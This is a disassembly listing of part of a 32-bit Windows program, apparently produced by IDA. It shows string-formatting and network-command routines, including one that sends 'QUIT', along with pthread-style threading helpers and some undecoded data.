		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474C0
		push	ecx
		call	edi
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476C4
		push	eax
		call	edi
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476BC
		push	esi
		call	near ptr 77C41B72h
		nop
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476D0
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E8
		push	eax
		call	esi
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476DC
		push	edx
		call	esi
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476F4
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi
		push	esi
		call	edi
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E90o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 27806A6h
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		nop
		call	near ptr 77C2C0C3h
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 0E8525738h, 2350050h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 350137E8h, 0B4E85302h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 90525338h, 34FF8FE8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 350077E8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0FEF2E850h, 85900234h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		call	near ptr 277099Bh
		nop
		push	0
		push	edi
		nop
		call	near ptr 278043Ch
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		call	near ptr 2770B5Dh
		nop
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		nop
		call	near ptr 2770CD8h
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		call	near ptr 2780000h
		nop
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 2780249h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx


loc_4306D9:				; CODE XREF: ___:004305BFj
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430750:				; DATA XREF: ___:00430680o
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		pop	ecx
		retn
; ---------------------------------------------------------------------------
		db 7 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430770	proc near		; CODE XREF: sub_401122j
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_401190
sub_430770	endp

; ---------------------------------------------------------------------------
		mov	esi, eax
		add	esp, 4
		test	esi, esi
		jz	short loc_4307AE
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_43079C
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_43079C
		mov	ecx, [esi+4]
		push	ecx
		call	eax
		add	esp, 4


loc_43079C:				; CODE XREF: ___:0043078Bj
					; ___:00430791j
		mov	edx, [esi+8]
		mov	eax, dword_5103B8
		push	edx
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 8


loc_4307AE:				; CODE XREF: ___:00430783j
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4307E0	proc near		; CODE XREF: sub_401663j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_8]
		push	esi
		mov	esi, [esp+4+arg_0]
		mov	[esi], eax
		mov	[esi+4], ecx
		mov	edx, dword_5103B8
		push	edx
		call	sub_401190
sub_4307E0	endp

; ---------------------------------------------------------------------------
		mov	[esi+8], eax
		mov	eax, dword_5103B8
		push	esi
		push	eax
		call	sub_4020F9
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_430830	proc near		; CODE XREF: sub_401B63j

arg_0		= dword	ptr  4

		push	esi
		push	offset dword_510900
		xor	esi, esi
		nop
		call	near ptr 7C901005h
		mov	ecx, [esp+4+arg_0]
		mov	eax, [ecx]
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_430864
		push	esi
		push	ecx
		call	sub_40154B
		add	esp, 8
		mov	esi, eax
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430864:				; CODE XREF: sub_430830+17j
		test	eax, eax
		jnz	short loc_43086D
		mov	esi, 16h


loc_43086D:				; CODE XREF: sub_430830+36j
		push	offset dword_510900
		nop
		call	near ptr 7C9010EDh
		mov	eax, esi
		pop	esi
		retn
sub_430830	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


